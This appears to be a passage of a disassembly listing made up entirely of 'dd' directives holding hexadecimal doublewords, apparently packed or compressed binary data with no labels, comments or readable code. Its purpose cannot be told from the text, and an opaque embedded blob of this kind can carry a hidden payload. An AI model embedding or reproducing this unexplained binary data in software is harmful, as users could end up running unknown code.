		dd 29297301h, 21CC382Dh, 0CA2E722Ah, 399052D8h,	4E765BEFh
		dd 312A32F4h, 0AA10B63Dh, 2BAF5h, 646E6957h, 0A873776Fh
		dd 52353314h, 55781C30h, 1EA30837h, 1A082110h, 1C070C22h
		dd 42BC8820h, 0CA36509Eh, 33C53C31h, 147F0827h,	64638268h
		dd 4B687675h, 20E65B08h, 0FF79EA08h, 757110EAh,	73106954h
		dd 2E187952h, 18227B64h, 0A96E723Fh, 661E086Fh,	646D8EE1h
		dd 326BDD1Ch, 10A27481h, 6C027763h, 70349169h, 6F1119BAh
		dd 71639472h, 6E8908A2h, 44B2D079h, 5208A46Fh, 424FB782h
		dd 15538EBBh, 0CE43CFF4h, 0E5FA3F4Eh, 9E514424h, 7A5998FCh
		dd 7F6C6F63h, 836D14BDh, 10695312h, 20078ADAh, 4A495041h
		dd 3EE0CA1Fh, 4C8E533Fh, 46095941h, 28DF460Ah, 384FA5A2h
		dd 0D04B7C7Fh, 2E65237h, 45D92157h, 90DCB125h, 83465554h
		dd 0CA42FE96h, 1214D16h, 62657721h, 20D2A363h, 0ABB8A6Dh
		dd 0A1544E29h, 211C230Dh, 73703157h, 0C5032163h, 0D5384D6Eh
		dd 50409955h, 0ADF64712h, 240C6855h, 64787265h,	0C0541163h
		dd 41422048h, 44344BEAh, 9F79C74Fh, 70703FC0h, 0F78C973Dh
		dd 1098310Fh, 0DC3961D2h, 6F531080h, 61777466h,	96FCCEDEh
		dd 0A7915241h, 14404C44h, 49736B63h, 51836550h,	60856A57h
		dd 2444C702h, 0FF3C1850h, 1CC1527h, 85F88B48h, 1E0375E4h
		dd 77C3595Fh, 6156F52Eh, 90575024h, 0F080D83Ch,	475F685h
		dd 541F5E50h, 0E84C8D80h, 68510B08h, 6E0393E0h,	40225652h
		dd 378BEED4h, 0D60FD035h, 94E760D6h, 332A0883h,	0E85503CCh
		dd 3AE483ECh, 0C9581F8h, 337C8805h, 7550085Dh, 9EB57D8h
		dd 93A48D27h, 89FFE841h, 0A814F274h, 88011088h,	20C0C033h
		dd 14845C39h, 40060174h, 7201F883h, 5A0BB4F4h, 2102B0F5h
		dd 9C501902h, 5930B902h, 0E324BC8Dh, 0ABF30F8Fh, 501C3638h
		dd 18C36A54h, 97171141h, 0E8565140h, 341D64FEh,	6462F885h
		dd 4BE4682Eh, 2494088Dh, 0AA210120h, 0AC6FE411h, 45657405h
		dd 5E848DD9h, 23531017h, 414E95E0h, 0BDE85308h,	8853437Ch
		dd 0E567924h, 326A0D0Ch, 0E988801Ah, 0A7B424h, 8B5B5E5Fh
		dd 7905DE5h, 10290187h,	5621AC44h, 28898857h, 2688E04h
		dd 8882232h, 0FF2C5ACh,	1C91D1E6h, 2ECA2D28h, 95207F07h
		dd 7C1C2941h, 0B384300Fh, 247C803Dh, 52012132h,	936624A8h
		dd 4AA62270h, 0D22433EAh, 6A8C9C89h, 0EC180D06h, 0F1208901h
		dd 66281102h, 831C4024h, 1E69E0BDh, 205099E9h, 0D1920C96h
		dd 382F196Ah, 49D82114h, 0D11F518h, 248DD503h, 62612CAEh
		dd 0FF0A44C6h, 23750804h, 24177486h, 646A5B29h,	662D8A28h
		dd 8E67140Fh, 442384E1h, 51814C5Ah, 0C288510Ah,	8312A0D8h
		dd 142908C4h, 669F0F4Eh, 0D94C2810h, 8901D444h,	1C5010BFh
		dd 97513A3h, 5E1320B8h,	0EBA404C2h, 56140876h, 9A740C74h
		dd 0E81402DAh, 345CAFB4h, 0B550900Eh, 3F05A04h,	248C8B01h
		dd 0C0745F8h, 8D0FF4B9h, 4A90047Eh, 0F4D3F70h, 525113CFh
		dd 3E8F521h, 838A0408h,	2125756Dh, 3231FC4Dh, 44F35004h
		dd 4C0CC60Bh, 528FFC51h, 25082AF0h, 0D2097431h,	5A44C481h
		dd 240CFF80h, 0D9419251h, 4D08632Fh, 0C800E15h,	5620EC83h
		dd 0F6E2DC89h, 8440993h, 4810890Ch, 13C930E8h, 1C861018h
		dd 0D447FD57h, 0B78988E4h, 2C089Fh, 0FEF799CFh,	20C5C280h
		dd 8F474111h, 18657F3h,	7749F9C0h, 8A026933h, 48FF0754h
		dd 44F41D91h, 8493C874h, 52C74884h, 93200350h, 2680C851h
		dd 850164BCh, 19E665FAh, 5718C7E0h, 0C9B00FC9h,	40D9135h
		dd 0C488B00h, 3EB11E6h
		dd 51C5CF1Ch, 0F52A425h, 98081428h, 4CA58412h, 75B01712h
		dd 7C93560Fh, 6EC83E3Eh, 40AF2E5h, 70AB07C6h, 2406C008h
		dd 53088C7h, 72180147h,	6BA35B3h, 0CC908612h, 199A8011h
		dd 5AE82C51h, 9296A01Ah, 0CCFEE618h, 0F85A10B4h, 430B03E9h
		dd 55242AA2h, 0FC3D0C1Bh, 4556A25h, 6852E08Ah, 1D18066Eh
		dd 56D9A56Fh, 8820B843h, 0D7BF3413h, 682D8C38h,	611C0557h
		dd 55ED3328h, 65E9F2EEh, 493CD48Dh, 4AB95184h, 34287080h
		dd 57743288h, 7042C319h, 9B5D5F14h, 0E0647246h,	68534384h
		dd 0E93D6490h, 1C22C838h, 89800570h, 19E2DB6Ch,	33627CEBh
		dd 2C542811h, 0EBA18BD2h, 0A46FBBD4h, 5044A31Dh, 6138A092h
		dd 7090D30Fh, 68386104h, 17331150h, 2790F17Ch, 2F512A4Ch
		dd 1829D843h, 5D34165Fh, 454E6891h, 2C665348h, 40301911h
		dd 0A399125Dh, 627D3114h, 4441173h, 989A8748h, 1CAC2E40h
		dd 0B25710C9h, 3BFF8B17h, 14D33E71h, 0F41721D1h, 2B5003B4h
		dd 0CC07086Ah, 0F4B94080h, 860C8AE5h, 1D3C1F38h, 1D277434h
		dd 45230035h, 7C06FD83h, 0B2129549h, 6C13425Bh,	8F16AE71h
		dd 8CFB2A1Dh, 6470931Bh, 55099853h, 8ED3564Ch, 8711B214h
		dd 2B054AAEh, 0D0742F74h, 2BD3B501h, 5A40B9C6h,	3F7CC13Bh
		dd 8D2C8B0Ah, 0E1D1000Eh, 0FF87548h, 3744BE16h,	30E8C107h
		dd 3C1AF81h, 4C754ED8h,	8B06CBD8h, 0B85B5DC5h, 0C86A5090h
		dd 69BD365Bh, 98B7220Fh, 26D75110h, 0E4680A74h,	0D994658Fh
		dd 0F62341Fh, 47BC8433h, 8BF41F53h, 15DC1AB4h, 11883949h
		dd 51A4D468h, 2D24BF11h, 0C60343D7h, 0F6D58812h, 8634290Fh
		dd 0FD2B0874h, 59F330E8h, 54091164h, 8C250A6Ah,	0E8E18018h
		dd 48B9FC4Ch, 77360C12h, 68308843h, 0D87D1C4h, 52605198h
		dd 1CDB3334h, 1A7ED181h, 8D83C045h, 7520F81Ch, 0E92D905h
		dd 0F081255Fh, 34C14350h, 0E87CD83Bh, 884383BEh, 0DF537BC0h
		dd 884E58F9h, 1CBA6890h, 8D3720A7h, 68020B9Bh, 852B96D4h
		dd 325444A9h, 0B7010B4Ch, 58FBA3E8h, 508144A9h,	9182900Fh
		dd 0A718CAA9h, 14C212DAh, 504440A7h, 0D766C987h, 0A7D63468h
		dd 0CA5F9A5Bh, 74DB68ABh, 646A8801h, 8C15B9C4h,	12054DD9h
		dd 2D24C4E8h, 9C680A10h, 0B9A20D44h, 2A880A0Dh,	0FC921F8Ch
		dd 3795CF4h, 0C51C5AC8h, 456F6975h, 0CEE12F0h, 0C237C850h
		dd 209C0870h, 6A0225Ch,	8B2138FBh, 995A9620h, 0B1812038h
		dd 66A4162h, 2E29B8BDh,	0F858EB55h, 0B227E868h,	327C4BB7h
		dd 0D0C3CF2h, 6BE19E40h, 0E001DD3Ah, 7257513Ch,	5C4620DDh
		dd 0EC9F66E8h, 16EC9155h, 5233358Bh, 2D918449h,	5DE35220h
		dd 0F022667Dh, 0F6F619Ah, 16126DB5h, 34D62492h,	3074CD8Dh
		dd 3581C61h, 0AC89C7A1h, 0BB157BAFh, 0A6EE77BCh, 782C22A3h
		dd 7B3011CAh, 0F4F98A49h, 7A0875C2h, 46C196F0h,	0A999176Ah
		dd 0B01CE048h, 0A9575922h, 57C93386h, 0A8C1943Bh, 0C2F028D2h
		dd 85CA0B24h, 26383D14h, 0C647CD1Dh, 66A60452h,	8DE45534h
		dd 2AC7388h, 2D9370A6h,	774EF825h, 994111A8h, 4B521812h
		dd 225E4389h, 42687A53h, 21519119h, 68529094h, 5092358Ah
		dd 0A5D5DB49h, 0A0155437h, 11241B0h, 0D203C88h,	874D0DDDh
		dd 0A4C69520h, 214AE119h, 9C0F5B08h, 9F714047h,	90085C2h
		dd 8852200Ch, 3455461Bh, 7390A843h, 52DCB8AEh, 7AD59E12h
		dd 68095030h, 0D0B0C033h, 0C72FD466h, 23088621h, 5C08CC54h
		dd 0C060C2C4h, 8CB86430h, 8B46823h, 74C2AC6Ch, 0A47830A8h
		dd 9C7C218Ch, 2580F632h, 0D80B2794h, 88888C91h,	8C22C6BFh
		dd 90227C46h, 94227446h, 98226C46h, 81896444h, 18B4589Ch
		dd 50449D90h, 0F7D80E8Bh, 0B9541BDBh, 0DD0F12DAh, 0C0B3FEBFh
		dd 74B18508h, 74E36242h, 4C845C09h, 0E77D0840h,	94535262h
		dd 84268435h, 0B2659811h, 4378667h, 83C975C8h, 0F12017Ch
		dd 202D0C87h, 0E1FF8567h, 33263485h, 68050C71h,	4DE9C95Ch
		dd 0E44F9FCh, 0EE468454h, 9020466h, 0CF680332h,	0C55649C0h
		dd 6090E014h, 4F406888h, 73E31D42h, 22261CD5h, 0C2C9BB78h
		dd 79101208h, 8B2C40F2h, 554652E8h, 9B4C5C44h, 2C0224D9h
		dd 4989C890h, 0C3039B38h, 96555026h, 0FD848CFh,	5DD9E575h
		dd 96551844h, 6C8B621Eh, 27C6CF8Bh, 726823CAh, 535187A4h
		dd 0EEBA1021h, 0B36C2FE5h, 0F7C362Fh, 0E970441Dh, 4ACA2755h
		dd 0C62C2Ah, 82C920C4h,	7E02FD22h, 0CBC8025h, 752C1A80h
		dd 831A4316h, 214003FBh, 87E2E0Eh, 41C00A4Dh, 7CC8133Bh
		dd 516429DBh, 9045E853h, 64D42C1Ah, 0F96B849Fh,	445EAEFFh
		dd 4AA7265h, 0E3C151D8h, 636E308h, 1286C8Dh, 1A2C43E8h
		dd 0D4947E8h, 8F9045D4h, 302296ADh, 0F4560C2Ch,	30AC918Ah
		dd 22553377h, 32092F62h, 83103C68h, 8BB1046Bh, 6C346842h
		dd 39AC45D5h, 48942A00h, 4685216h, 0A1540088h, 0A5673022h
		dd 5864A746h, 3C8D7504h, 2C2E8CF2h, 43FFB150h, 0B74F10E9h
		dd 0AD63B83Dh, 49C22C2Ah, 0B296AC53h, 59DD5188h, 453D4AD9h
		dd 2201446Fh, 6DB05571h, 3CB8B8E8h, 95DC26E3h, 3B674E9Fh
		dd 1DAB9C8Dh, 0E27C65C8h, 8EE9C4CFh, 0BC2A3AE9h, 75401546h
		dd 0B221DF42h, 0B744A32Ah, 0B811C83Ah, 0B92E5C91h, 1098C2DBh
		dd 74510012h, 0C628680Ah, 8549E9A7h, 0AA120F4h,	0E929143Fh
		dd 327D5F67h, 1CBF498Dh, 0BA755F10h, 200A8951h,	2F59B74Ah
		dd 5516DF89h, 0A374BDD2h, 0AAEF5A49h, 34526792h, 0DEAD4250h
		dd 0D243BCA3h, 0C503A032h, 0E5801133h, 0CB1C3C14h, 53DD1974h
		dd 386240F1h, 245505D9h, 0D79B20F8h, 0FDCC1526h, 535884A4h
		dd 9C648917h, 0E2B7A5D0h, 63C551E8h, 153218EDh,	84AD1822h
		dd 14701DA6h, 20A8811h,	9471E7B1h, 0FA85520Ch, 1C48D52Bh
		dd 0E7B1502Ch, 0C7EA8BD9h, 51CB08E1h, 428DA0D7h, 0E8E14DA0h
		dd 4B979A46h, 92DB296Ah, 0CA28582Ah, 25228418h,	91E6A501h
		dd 109B15Ch, 1C81620Eh,	29CC1B04h, 0A0E511E2h, 85C9F23Bh
		dd 21F06CB1h, 150C0420h, 94684DA4h, 4439A1FFh, 3F19E3A0h
		dd 9C6B5418h, 269E9C8Dh, 233B5651h, 0AB50CC8Bh,	7D436242h
		dd 46436243h, 0EBC66246h, 117B173Fh, 3489FC73h,	0F4F41653h
		dd 30CE5D8Dh, 683422EBh, 0E98F0FF0h, 0EB333C22h, 0DA071709h
		dd 0A52B92E8h, 0E4E718C8h, 12271C21h, 0D47571F3h, 0F77C8DE6h
		dd 6C6F4DFBh, 0E93071A0h, 0D290211Dh, 0E01CCC1Fh, 0B888EE09h
		dd 21718020h, 5111CC81h, 22ED0222h, 990223D5h, 48B70424h
		dd 10F791D3h, 9D22253Eh, 8992A844h, 0BD2991E9h,	83ECD04Bh
		dd 752702F8h, 0C484490Dh, 0C01DC23Dh, 3427A7C2h, 0A825F708h
		dd 2CEC8382h, 545E4253h, 0C67A49B7h, 10268027h,	549C30ADh
		dd 0BD0C0848h, 0E278BBA9h, 18091464h, 0C4BE1C48h, 912C8928h
		dd 5332ACA0h, 0AAF66803h, 4791DEBAh, 4A60A6Ah, 1CCF9814h
		dd 0EE921314h, 7C990875h, 3B2FB091h, 750448E8h,	0C6200A5Fh
		dd 13C4835Bh, 1456C32Ch, 78133B25h, 87AE2668h, 0A400DCDh
		dd 0E5E8618Bh, 8B074058h, 75F33BF0h, 2D285E85h,	2D8B1855h
		dd 56578DB4h, 740F0999h, 0B83DC514h, 0A687C42h,	4D5F5604h
		dd 5FE201BCh, 3D304B5Dh, 718DE968h, 1933A1D8h, 193C5B0Ah
		dd 0B20E1108h, 5140326Ah, 8134192Ah, 8B1C0B26h,	0C4BC3527h
		dd 9B7AB632h, 0BF510E52h, 0CC5C123Ch, 0D4D2D05Eh, 2568A6D3h
		dd 248E043h, 0BBC04557h
		dd 0C5AF5CEAh, 0C10CDD3Bh, 5081655Dh, 0C8C322C4h, 57841C9Fh
		dd 0E4A5086Ah, 6C10D0ACh, 40840C12h, 84AB920h, 1BC88390h
		dd 0E68125F6h, 16819272h, 0C2C6ED14h, 2011AF59h, 3BF88B05h
		dd 0EC3AE1FDh, 50921775h, 0A1B115EFh, 600DEE19h, 5E14A612h
		dd 2466974Bh, 0A08B1241h, 4E9E70C7h, 9352300Ch,	0BE109D78h
		dd 535A5074h, 0C8A48757h, 0CD72B466h, 3089E980h, 15D28AB8h
		dd 769B05Eh, 94889011h,	0B42398C4h, 0A0319CF2h,	3C31BC33h
		dd 0AFC53BFDh, 0AFE384B1h, 2C1CD256h, 9F2014ACh, 1A43D98Ah
		dd 0E75A1396h, 684C9784h, 0A1CC2EC4h, 51538D38h, 59920A52h
		dd 3065A630h, 0F53B4773h, 8D132D74h, 5650E918h,	14341DA1h
		dd 74F14BCh, 5CAF0F7Ah,	16834C7Fh, 3055F912h, 8D026AD6h
		dd 11B50436h, 0EFC11498h, 3814DD03h, 83878436h,	44ED7AC0h
		dd 1626EC42h, 0EC804A8h, 0B52F9D4Ah, 22547219h,	59997E0Bh
		dd 41D05293h, 0A14D4248h, 4EDD6CEFh, 0ED880544h, 32285B58h
		dd 1D84603Eh, 0A00C8964h, 686E1C5Eh, 7022D109h,	83745Ah
		dd 7C112578h, 0DA53DC09h, 758D2626h, 88B2C72Bh,	0CB2C3828h
		dd 0FFDC9020h, 0A16F8415h, 9945CE2Dh, 0B3F25545h, 0F20E6A12h
		dd 6C69648Bh, 64186A67h, 489B9028h, 18A45150h, 87740FA2h
		dd 1A65733Ch, 202314BFh, 468CB250h, 5651297Eh, 2834B23Ah
		dd 0A6505730h, 700FCA13h, 512A4E54h, 2854E493h,	89248552h
		dd 29191372h, 72AC572Dh, 0B867E0F9h, 33858F8h, 273AB69Dh
		dd 0BF67066Ah, 3FE9688Dh, 44182652h, 222AED46h,	823E28D4h
		dd 44B17497h, 0DFD4A92Eh, 971D90A3h, 51563D49h,	0A31846CBh
		dd 0D413D829h, 0F0CCD316h, 0BAC6F233h, 0C8214B8Fh, 0B5966A0Eh
		dd 2C023C62h, 4481C714h, 9B6C0112h, 3795487Bh, 28C193DCh
		dd 7C8AB897h, 3C4C40CEh, 608E5139h, 3330188Ah, 0F94A80D2h
		dd 0E88B4A91h, 14902921h, 0B0D760Ah, 0F60774D0h, 0EB0534B8h
		dd 0B0FD0302h, 1B95EDFAh, 6E28DCF7h, 418A95CCh,	12BEDF84h
		dd 9688E55Eh, 0CCD950EBh, 51B6F307h, 34042878h,	0C0ED51BEh
		dd 7E2D713Eh, 16C42B4Bh, 0FA8E335Ah, 0AAC26FBDh, 0B820D68h
		dd 0A80574D1h, 0E36B1B69h, 46375FB7h, 3685C1B7h, 0B786064Ah
		dd 94CB9931h, 3B804B47h, 8BB97CF8h, 0BC423D5Fh,	7613D068h
		dd 0F2344667h, 75560297h, 0EAD8932Ch, 0B4056B3Ah, 0A01FACCCh
		dd 0E80976EAh, 0C8683104h, 0F707EB4Dh, 99B494B7h, 9FA4285Ah
		dd 6667AC5Fh, 3C5254F1h, 17109F2Bh, 91972DE8h, 356D04C6h
		dd 0C2767534h, 3B9194BAh, 1A7CE516h, 4C107421h,	54905123h
		dd 0B2E85204h, 761D69F9h, 0A25C7691h, 77B2B654h, 14819C17h
		dd 0ED9C2040h, 3AD4613Ah, 2E66E2Ah, 35511CBh, 0D306837h
		dd 0FDECE93Fh, 35210D1Ah, 0C6E9DC22h, 802521D7h, 0AE4811A9h
		dd 5C022010h, 27842161h, 22CF469h, 0C56F76D6h, 2CE762F4h
		dd 0EF04F02Ch, 2AB03206h, 79613069h, 380C11BAh,	502DC3E9h
		dd 4D209413h, 0F27FD64Ch, 0D1295B3Eh, 0E4288296h, 5D28E88Ah
		dd 8792CE6h, 5F6450B4h,	201173F8h, 8C0BB402h, 0E3A3A1Ch
		dd 41056AB9h, 98D722E9h, 1CE82347h, 0D28D834Fh,	0CE914704h
		dd 0EC16032Ch, 0ABA79A9Dh, 430E807h, 8F7B12Eh, 44A50228h
		dd 32D74B98h, 2554D383h, 0EBEE038Bh, 368AFF49h,	14206885h
		dd 2C1041A2h, 0DB50C903h, 8D931618h, 1102C5A6h,	47BA1068h
		dd 0E88023E3h, 40E90443h, 0F18A7122h, 40F5229Eh, 48611520h
		dd 14086875h, 202DD723h, 16EF3146h, 504589D4h, 6838165Ah
		dd 49395368h, 14EF47FAh, 163F9BCDh, 2C15913Ah, 241E1601h
		dd 0AD0923E8h, 3592DEBEh, 1AC8DBB6h, 0B9B4EC20h, 1C7E2C7Bh
		dd 560A0BE3h, 8A87BDCDh, 1635014Eh, 8A5A9488h, 0FAC11763h
		dd 8533644Dh, 0CA097AE5h, 92064401h, 6BBA9FECh,	0F1C843DCh
		dd 0B391C472h, 633AAE8Bh, 9788914h, 7E9F428Ah, 88F76EC8h
		dd 2453430h, 3283576Bh,	40DE1446h, 3E6DB2CAh, 0F6156C4Dh
		dd 0F4D14FE9h, 150A8C2Ah, 2013F868h, 3E983C0h, 438C652h
		dd 843B6708h, 1A9D3A79h, 9F1F427h, 36BCE427h, 1C5BA49Dh
		dd 0B64970A3h, 2D908022h, 0D6A87554h, 0D8BDE826h, 0F3F2EB89h
		dd 53026970h, 8DF603A8h, 0B5400A6Bh, 0CAEC85E2h, 8BB7B81Dh
		dd 0C240E00Dh, 958D510Ch, 0DC521485h, 5538482h,	9B545B22h
		dd 8BC6A985h, 5B62EE1Ch, 0FE780F0h, 33D2CA84h, 0A4789708h
		dd 7CD751F8h, 24A0D058h, 5559A1D8h, 1E140261h, 4AA38B15h
		dd 8E01792Dh, 0A314FC58h, 0E8B29322h, 58E8CE65h, 45C794CDh
		dd 0A108F82Ah, 0F44D891Bh, 0FCC7AFA8h, 743EB912h, 437D9E50h
		dd 4158358Dh, 0A4F32E1Eh, 821375D4h, 0D7433680h, 44D8418Fh
		dd 54DC75FFh, 0D092F8DDh, 559F325Fh, 7C1220A4h,	366AC8CDh
		dd 0ACD8DAEBh, 0A36853DBh, 0E71ED954h, 104AD233h, 9CB2D5CDh
		dd 0DFDE729h, 3D2FCBE9h, 1B4A1B0h, 0B05C4D26h, 48D7CF5Eh
		dd 4A66245Ch, 2548A808h, 370CC824h, 4A74CB8h, 5252F596h
		dd 8E1A4EC7h, 509840ADh, 69B0A334h, 0A128DAA3h,	4FC2900Bh
		dd 0F0B3DC50h, 4455848Ah, 80DE0853h, 2A3DC0A9h,	38E12515h
		dd 0F9528917h, 401C11B1h, 1649C08Ah, 267995A9h,	0EB1D4632h
		dd 91ADB0ABh, 693ECC0h,	84DC05E8h, 488F4BBBh, 0FB4BC06h
		dd 0A7685626h, 0DCCF6034h, 0D6E4A410h, 8B8B64D2h, 0BDE36404h
		dd 5054BCACh, 26E84040h, 6B83FAD4h, 68419471h, 70443190h
		dd 0F435D10Ah, 4412AC48h, 5C7E330h, 0F11DD2ACh,	6E8C253Ch
		dd 2B57EA66h, 0B29B3040h, 52045428h, 0B1CD031h,	0B0155347h
		dd 3CD1142Ah, 0D95A20C8h, 3184A29Dh, 251C0CC2h,	5A5D2A1Ch
		dd 0C661491h, 0BC4F1924h, 88696F3h, 0E0200835h,	0F3F04F10h
		dd 292E8CDCh, 4BA88914h, 458A2228h, 38C4C3CCh, 0A1708BACh
		dd 4AC42043h, 94440837h, 0CCB21488h, 0F84AAC24h, 38685864h
		dd 0DC121C81h, 0B6451496h, 3ABB9E04h, 5703ABDCh, 335F3253h
		dd 6C642E98h, 1B369E3h,	43706163h, 74D56572h, 0B712B6CFh
		dd 1A5D384Ah, 910FC307h, 842E4956h, 69286393h, 466EE687h
		dd 0D5E77274h, 736FFC43h, 616F48F2h, 2BF81F4Ah,	5298169Ah
		dd 6E466484h, 930A2769h, 704FE314h, 9255A7FFh, 9204416Ch
		dd 57229F6Dh, 45044ED8h, 65BAB54h, 4C52551Ch, 6E6CE444h
		dd 0F15486B0h, 83654546h, 0E26DFB89h, 4D7C916Eh, 10A1B2C2h
		dd 0A502A91Bh, 30E066Ch, 0B80A653h, 44EB6F50h, 3049161h
		dd 24DDDB57h, 0F311EB2Bh, 15BA0ACh, 742CA447h, 1C7A6453h
		dd 623818EEh, 4E9DA361h, 0F503E0C2h, 466D0EA6h,	0DF2ADD0h
		dd 3170E54Ch, 73B8E370h, 63797274h, 0BC907954h,	27A50CABh
		dd 4A940EBDh, 676F4C03h, 64336369h, 6D76DC44h, 0FDFE34A4h
		dd 0D3369C73h, 4EDAC236h, 18A7F14Eh, 10ABC9ACh,	73720814h
		dd 0FD0ADC11h, 4394B202h, 0B0D268DEh, 0E230441Bh, 0B8085F63h
		dd 3F7C1C60h, 0E442D07Ch, 0D8940CA2h, 0B71BDBF7h, 70307562h
		dd 0D03D50BBh, 118DA26Fh, 625B822h, 87F62146h, 74451244h
		dd 38143828h, 7017ACA2h, 84DCB095h, 884F706Dh, 45F44992h
		dd 0E9944C7Ch, 23F64B2Eh, 0E99E2E43h, 68548C5Ah, 20C2640Fh
		dd 4152454Bh, 1C324CBFh, 94BC8E8Ah, 50843666h, 614E8672h
		dd 0FC02033Ch, 7E51BEC9h, 0BA4D141Bh, 67613A79h, 49996CF0h
		dd 79526FE3h, 3B497028h, 1E126808h, 3DAD656Ch, 1BD34901h
		dd 6E605370h, 99411042h
		dd 0EE163E95h, 80A86F51h, 61D2A1E2h, 280C44DEh,	85835355h
		dd 708F1280h, 6A624F3Ch, 0AE28B2AAh, 494441C6h,	402E2142h
		dd 615472D5h, 932A624Ch, 8DE8081Fh, 3D37EBE7h, 518DF50Eh
		dd 91322E18h, 53624C36h, 896923C9h, 5296A876h, 1843CC6Eh
		dd 0D420A62Dh, 0E6A2D9Ch, 166C158Dh, 0F6646B2Ah, 99049876h
		dd 15731C38h, 1293462Eh, 96401A34h, 1C99B38h, 8546B8AAh
		dd 79704B78h, 440EEC51h, 0D3C51E15h, 0E391A56h,	0E282D913h
		dd 15931489h, 0F9114340h, 0FDA810A2h, 449B5322h, 645065E7h
		dd 0EF012F51h, 0D8112C12h, 612F6D3Eh, 0F20CD169h, 0F4EB011Dh
		dd 805E5583h, 7E38B01h,	0C823434Bh, 2B155036h, 307FBA5h
		dd 47C4AB6Eh, 93BCE0EFh, 6BEB340h, 366D7FEFh, 3180AB8h
		dd 0B4134737h, 0C0CAE205h, 684BF46h, 406EABBBh,	84E8D40h
		dd 39332AD8h, 22BA2F2Bh, 276D3BF7h, 65ECFFF8h, 8BEF0AC3h
		dd 0BB3C08ABh, 43D52B0h, 0D603726h, 312C3406h, 22133A28h
		dd 302E1D72h, 0AD2BC043h, 0AB5C83A9h, 0CE236B54h, 12BB0E1Dh
		dd 0BF539E3Ah, 1BCAF7BDh, 0C20F09F6h, 3642EC85h, 0C7D74C3h
		dd 4FAB5D36h, 7A717283h, 75716D74h, 71049FE9h, 25019BA8h
		dd 0AB6FE6B0h, 290840AFh, 76144172h, 2833C6CEh,	137C3246h
		dd 0ABE8067Bh, 0C0377260h, 304CBCBBh, 2B277CC7h, 53C050CBh
		dd 0D1ABBF36h, 5610D841h, 1381B423h, 0D14B1E9Fh, 29160D92h
		dd 140C8242h, 0CACCA42Bh, 4C208718h, 79CA2A5Eh,	0BA9E461Eh
		dd 2B01416Ah, 0D0DE3EDFh, 0B34DE9ABh, 142183ABh, 0CEC58625h
		dd 0C3371EFEh, 5D84C0BBh, 0B8EF8411h, 8C4A1429h, 0BF7B90ABh
		dd 0FA5020A4h, 83197062h, 231EE9B0h, 19FD2708h,	3714C419h
		dd 4131BF31h, 0FF1C31Ch, 0B2429011h, 0F4C3951h,	85D1E9CFh
		dd 0BB2C7D37h, 0C44046ACh, 637841E8h, 40C53EA4h, 840C144Fh
		dd 0A0227F5Fh, 0AE808A9Dh, 1BF2433Eh, 0BE45FB22h, 418B692Eh
		dd 304F2827h, 4DC9533Eh, 45010573h, 0BD0444CBh,	2A20C38Ah
		dd 90B07D36h, 378312B6h, 58BB5D5Eh, 4485344Bh, 0A8046D0Dh
		dd 84F40CA3h, 53675107h, 818AA885h, 0C9F5404Fh,	6404205h
		dd 0B3C84B14h, 4FFDCA22h, 294F3E40h, 5E2B4C40h,	0ABCDD805h
		dd 256D4307h, 849944CAh, 10A75404h, 6E8817E8h, 204704E3h
		dd 0DC84531h, 49644Bh, 0C04F06C8h, 0AF41E783h, 20361357h
		dd 0EE428F15h, 0FEC55788h, 10C70F5Ah, 0CA254EEBh, 42535B30h
		dd 6AB34199h, 115F2623h, 29F4D984h, 27020904h, 4037142Ah
		dd 1E9A7AB2h, 0A9EAAB21h, 1F74145Ah, 4C533499h,	6304B120h
		dd 0CAAB2F7Ah, 0DDCF542Ch, 0A83C2A25h, 0FF4E293Dh, 0C8D5BE4h
		dd 0D114649h, 0FA49478Bh, 42CABC02h, 29FDA7FAh,	4509BEEAh
		dd 3CF62D53h, 2538CA0h,	9BD17470h, 191A75ABh, 0C80A461Fh
		dd 4B9D6C54h, 0CE97B382h, 71041EF5h, 0A4165D8Ah, 376D0488h
		dd 498D8858h, 512A491h,	0A882A503h, 0C8C2C7AFh,	2D934A94h
		dd 4FBF1831h, 0A8050403h, 0B1298B95h, 5713CE23h, 42B900Fh
		dd 43C239B2h, 0A334CFCh, 40CA4B1Eh, 802344CFh, 41B30668h
		dd 27ACEFA4h, 0A42E323h, 87FFB106h, 5B852Bh, 42CEABB7h
		dd 0DEC2FCACh, 6303C870h, 0CD04EE1Ch, 83B73Ch, 5329B3BBh
		dd 70009798h, 9BBDC92Bh, 0AC24ABAEh, 18364926h,	53DAFEA6h
		dd 556D4C46h, 294F2307h, 0AB233C61h, 31538110h,	7F08C873h
		dd 5A0FCCh, 4064A03Bh, 0CEB57088h, 87F0573Bh, 51C86312h
		dd 54C390C4h, 71449082h, 0C3011841h, 78B6AE79h,	48378883h
		dd 0C32EE05h, 8F9E315Bh, 500CA834h, 466712C8h, 57F43F4Ch
		dd 5F023CF9h, 471980BFh, 87CA0AD3h, 81BB22BBh, 8844B3BCh
		dd 4BFE27C8h, 1EA8BA1Dh, 75BC2486h, 0CA0CC41Ah,	21AB0665h
		dd 0A12EEA31h, 0E88B101Dh, 8F1050D7h, 37059148h, 5781C05Dh
		dd 0BB81821Fh, 77AB56A0h, 0B336258Ch, 20FBBF1Bh, 481A5F73h
		dd 1B5902ABh, 0F10CDCA0h, 0EFEC4F0Dh, 2453AB28h, 1FCAE603h
		dd 10BB5B67h, 1545CCAEh, 0E81221Bh, 7D077048h, 4A4D7E47h
		dd 2CDC3FC7h, 7F0B2E2h,	1BC8BC7Bh, 0B5543C47h, 70258007h
		dd 245DC298h, 0A8650247h, 40C80600h, 18259BB4h,	0D0E6F07Eh
		dd 0CBA02380h, 0C571436Eh, 7613C407h, 77377D6Dh, 91614663h
		dd 1883A6A4h, 30264E52h, 745117E2h, 0BCBD9487h,	0CCCE1418h
		dd 0AAD05306h, 32801990h, 10F1F0F7h, 406D3D3Ch,	6215677Fh
		dd 882C5847h, 24F51E8h,	40EF14E4h, 7E6D435Eh, 3254189h
		dd 873C2C18h, 2B4B3891h, 82ADDE48h, 0F06864A8h,	0F86CEEB1h
		dd 2F730F75h, 26B96D63h, 9C7BCA78h, 9456CBD5h, 0DF011D7Ah
		dd 0E4FE86A7h, 34461C0Fh, 1D849D64h, 3509878Bh,	4745272Eh
		dd 8786676Fh, 0C7CEA793h, 1736E7EBh, 57723746h,	97957779h
		dd 0D7D1B7A7h, 373BF1EDh, 0D177C960h, 0E0F7D9D7h, 2972381Ch
		dd 5D764A74h, 957A6978h, 0D47EC27Ch, 2C391B1Ch,	441D329Dh
		dd 631E4A9Eh, 7A1F6B9Fh, 0A99F8E9Fh, 0C59FB99Fh, 0F79FEE9Fh
		dd 3E3A2287h, 5B474427h, 83876167h, 0EAC7E0A7h,	0DE1F0E7h
